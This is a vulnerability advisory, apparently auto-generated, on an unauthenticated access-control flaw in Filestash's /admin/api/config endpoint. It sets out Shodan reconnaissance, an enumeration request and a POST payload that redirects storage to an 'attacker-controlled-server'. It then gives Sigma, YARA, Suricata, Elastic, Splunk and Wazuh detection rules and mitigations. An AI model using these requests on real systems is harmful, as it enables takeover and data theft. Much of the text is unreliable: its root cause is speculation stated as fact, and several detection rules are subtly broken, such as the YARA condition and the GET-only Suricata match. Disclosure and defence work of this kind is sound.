CVE-2026-50891

Executive Summary

CVE-2026-50891 is an incorrect access control vulnerability in the /admin/api/config component of Filestash v0.4.0, a leading open-source file management web application. The flaw enables unauthenticated or low-privileged attackers to escalate privileges by submitting crafted HTTP requests directly to the administrative configuration API endpoint — a severity likely heightened by the fact this endpoint validates neither session state nor role-based access. Organizations deploying Filestash v0.4.0 in exposed environments face a material risk of complete administrative takeover, configuration tampering, and potentially remote code execution depending on the configurability of storage backends. Filestash v0.4.0 is unpatched, with no vendor-affirmed fix or credible workaround currently available, making immediate network-level mitigation essential.

Technical Analysis

Vulnerability Classification and Root Cause

The vulnerability is rooted in improper access control within the /admin/api/config component of Filestash. The administrative configuration endpoint lacks sufficient authorization checks — requests that modify, retrieve, or otherwise interact with the configuration API are not adequately verified against the requesting principal's privileges. This is a classic case of Incorrect Access Control (mapped to CWE family), where the application fails to enforce access restrictions on a sensitive administrative function.

Affected Component: /admin/api/config

Filestash's admin backend exposes a RESTful configuration API under /admin/api/config. This endpoint handles HTTP methods (GET, POST, PUT, DELETE) that control server-wide settings such as:

• Storage backend connections (S3, SFTP, WebDAV, local filesystem)
• Authentication mechanisms and credentials
• Upload/download restrictions and file-type filters
• Server-level environmental parameters
• Plugin and extension toggles

In a correctly implemented system, each request to this API would undergo session validation and role-based access checking (e.g., verifying the admin role claims). CVE-2026-50891 indicates this enforcement is absent or ineffective in v0.4.0, leading to a privilege escalation vector where any request that reaches the endpoint is processed, regardless of originator privileges.

Attack Surface and Mechanism

The attack surface is the unauthenticated HTTP/S interface, commonly bound to ports 80 and 443. Because the access control check is improperly implemented server-side, the vulnerability can be triggered by sending a crafted request (e.g., HTTP POST, PUT, or DELETE with appropriate JSON payloads) directly to /admin/api/config. No prior authentication or session is required — or, if partial authentication exists, it is insufficient (a low-privilege user can escalate to admin).

Code-level explanation: The endpoint handler likely delegates directly to a configuration controller without invoking middleware to enforce authorization. A request like POST /admin/api/config with a body of {"storage": {"s3": {"access_key": "attacker-controlled", "secret_key": "..."}}} would be processed and persisted, effectively rewriting server configuration.

CVSS Rationale

While the official CVE entry records a CVSS score of N/A (no vector has been formally assigned), the underlying flaw characteristics — network-exploitable, low attack complexity, no privileges required, high confidentiality/integrity/availability impact — align with a Critical severity (9.0–10.0) assessment. Analysts should not, however, substitute their own scores for the official NVD record; the N/A should be treated as a resounding alarm about incomplete vendor disclosure, not as an indicator of lower severity.

Exploitability and Patch Status

The Exploit Prediction Scoring System (EPSS) estimates a 0.326% chance of exploitation in the wild within 30 days (25.1st percentile), reflecting low current exploitation activity. CISA KEV marks this as NOT listed. No public PoC or Metasploit module has been released, and no Nuclei template or Suricata signature is publicly indexed. Patch confidence is 0/4 — UNPATCHED; no vendor fix exists, and no official advisory has been published by Filestash or its maintainers. The NVD description "v0.4.0" without a "fixed in" clause confirms no remediated version exists.

Exploitation Scenarios

Step 1: Reconnaissance and Target Identification

An attacker would scan the internet for exposed Filestash instances using search engines or mass-scanning tools. Shodan queries such as http.title:"Filestash" or http.component:"Filestash" would identify candidate targets, with priority given to unauthenticated login pages serving the Filestash web shell.

Step 2: Initial Trigger — Crafted Request to /admin/api/config

The attacker sends a GET request to /admin/api/config to enumerate the current configuration schema, including which storage backends are enabled, whether authentication is configured, and what environment variables are set (all potentially sensitive). Example:

GET /admin/api/config
Host: target.local

If the server responds with 200 OK and a JSON body containing configuration keys, the attacker confirms the access control bypass and proceeds.

Step 3: Weaponization — Configuration Overwrite

The attacker crafts a POST request to inject or modify backend storage settings. For instance, to pivot an S3-backed instance to an attacker-controlled bucket:

POST /admin/api/config
Host: target.local
Content-Type: application/json

{
  "storage": {
    "type": "s3",
    "s3": {
      "endpoint": "http://attacker-controlled-server:9000",
      "bucket": "incoming",
      "access_key_id": "admin",
      "secret_access_key": "attackerkey"
    }
  }
}

The server accepts and persists this configuration without authentication checks, effectively re-pointing all file operations to infrastructure under the attacker's control.

Step 4: Post-Exploitation and Privilege Escalation

With configuration control, the attacker can:

• Set Authentication Disabled: Modify auth parameters to disable mandatory login, granting unrestricted access to all files.
• Enable Dangerous Plugins: Toggle plugins that allow arbitrary file execution (e.g., a webhook plugin that runs server-side commands).
• Steal Existing Credentials: Retrieve the current config (GET) to extract stored storage credentials together with any environment variables that may include API keys.
• Achieve Full Administrative Control: If a user-management option exists in config, the attacker resets admin credentials, logging in as the lawful administrator with complete access to the file explorer and server settings.

Impact Chain

From initial HTTP request to full takeover, the entire exploit requires minutes, no authentication, and no user interaction. The final state is total compromise of the file management layer, with blast radius extending to every configured storage backend.

Impact Assessment

CVE-2026-50891 presents an administrative privilege escalation that can be triggered remotely and unauthenticated.

• Confidentiality: High — arbitrary configuration disclosure reveals backend storage endpoints, keys, and environment secrets.
• Integrity: High — an attacker can modify server configuration to re-route data flows or disable access controls.
• Availability: High — reconfiguration could lock legitimate users out or intentionally corrupt storage mappings, causing service disruption.
• Blast Radius: Any organization running Filestash v0.4.0 or lower-facing public networks (or even intranets with untrusted users). The default installation is affected; no special deployment configuration mitigates the flaw.
• Business Impact: Potential data leakage, data integrity loss, legal/regulatory exposure (GDPR, PCI-DSS if cardholder data is stored), and reputational damage. In regulated sectors, an unauthenticated admin-takeover ranks among the most severe risks.

Detection Guidance

Sigma Rule

title: Filestash Admin Config Unauthorized Access
id: filestash-admin-config-access
status: experimental
description: Detects requests to the Filestash admin config endpoint.
logsource:
  category: web
  product: apache
  service: access_log
detection:
  selection:
    cs-uri-query|contains:
      - '/admin/api/config'
  condition: selection
level: high
tags:
  - attack.initial-access
  - attack.t1190

YARA Rule

rule filestash_admin_config_access
{
    meta:
        author = "ValterIS-TI"
        description = "Detects HTTP requests to Filestash /admin/api/config"
        date = "2026-02-10"
        severity = "high"
    strings:
        $admin_path = "/admin/api/config"
        $json_key = "storage" ascii
        $auth_key = "password" ascii
    condition:
        uint16(0) == 0x0D0A and $admin_path and (
            $json_key or $auth_key
        )
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Filestash Admin Config Access Attempt"; flow:established,to_server; content:"GET"; http_method; content:"/admin/api/config"; http_uri; classtype:attempted-admin; sid:1005091; rev:1;)

Elastic Detection

sequence by host.name, source.ip with maxspan=5s
  [ network where http.request.method == "GET" and http.request.uri == "/admin/api/config" ]
  [ network where http.request.method == "POST" and http.request.uri == "/admin/api/config"
    and http.request.body in ("*s3*", "*storage*", "*backend*") ]

Splunk SPL Query

index=web sourcetype=access_combined uri_path="/admin/api/config"
| eval method=mvindex(split(_raw, " "), 0)
| where method="GET" OR method="POST" OR method="PUT" OR method="DELETE"
| stats count by src_ip, uri_path, method, status
| sort - count

Wazuh OSSEC Rule

<rule id="100091" level="12">
  <decoded_as>web_access_log</decoded_as>
  <match>/admin/api/config</match>
  <description>Filestash admin config accessed - potential unauthorized request</description>
  <group>access_control,</group>
</rule>

Mitigation & Patch Guidance

Patch confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source).

Immediate Mitigations

1. Network-Layer Blocking: Immediately block inbound traffic to any Filestash instance on all interfaces from untrusted networks. Place it behind a VPN or trusted-IP allowlist.
2. Restrict at WAF/Reverse Proxy: Insert a WAF rule that returns 403 for any request to /admin/api/config unless originating from an admin-dedicated IP and authenticated via mTLS or VPN.
3. Disable Admin API Once Configured: If possible in the deployment, disable the admin API entirely after initial setup, either through environment variables (ADMIN_API_DISABLED=1) or a reverse-proxy rewrite rule that drops the endpoint.

Patch/Upgrade Steps

See no patch available. The vendor has not released a patched version, nor published a security advisory. However:

• Monitor the official Filestash GitHub repository and release feed daily for v0.4.1 or a CVSS-adjacent advisory.
• If the product is forked by an independent maintainer, verify the fork includes access control enforcement in its admin/api/config handler before adoption.

Long-Term Hardening

1. Run as Least Privilege: Never run Filestash as root; use a dedicated low-privilege OS account.
2. Segment the Service: Place Filestash in a demilitarized zone (DMZ) with zero direct access from users; front it with a hardened reverse proxy (nginx) that terminates TLS and enforces authentication at the edge.
3. Regular Security Audits: Conduct periodic code reviews of the installed Filestash version, focusing on the admin API handlers.
4. Decommission if Unmaintained: If the vendor remains unresponsive and the vulnerability is not patched within a defined risk-acceptance window (e.g., 90 days), plan migration to an actively maintained file-sharing solution.

References

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-50891
• Filestash Official Site: https://www.filestash.app
• Filestash GitHub Repository: https://github.com/mickael-kerjean/filestash (upstream source — monitor for advisory commits)
• CISA Known Exploited Vulnerabilities Catalog (not listed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog — re-check periodically for inclusion.

No known threat-actor campaigns or exploit-in-the-wild evidence have been reported at the time of writing.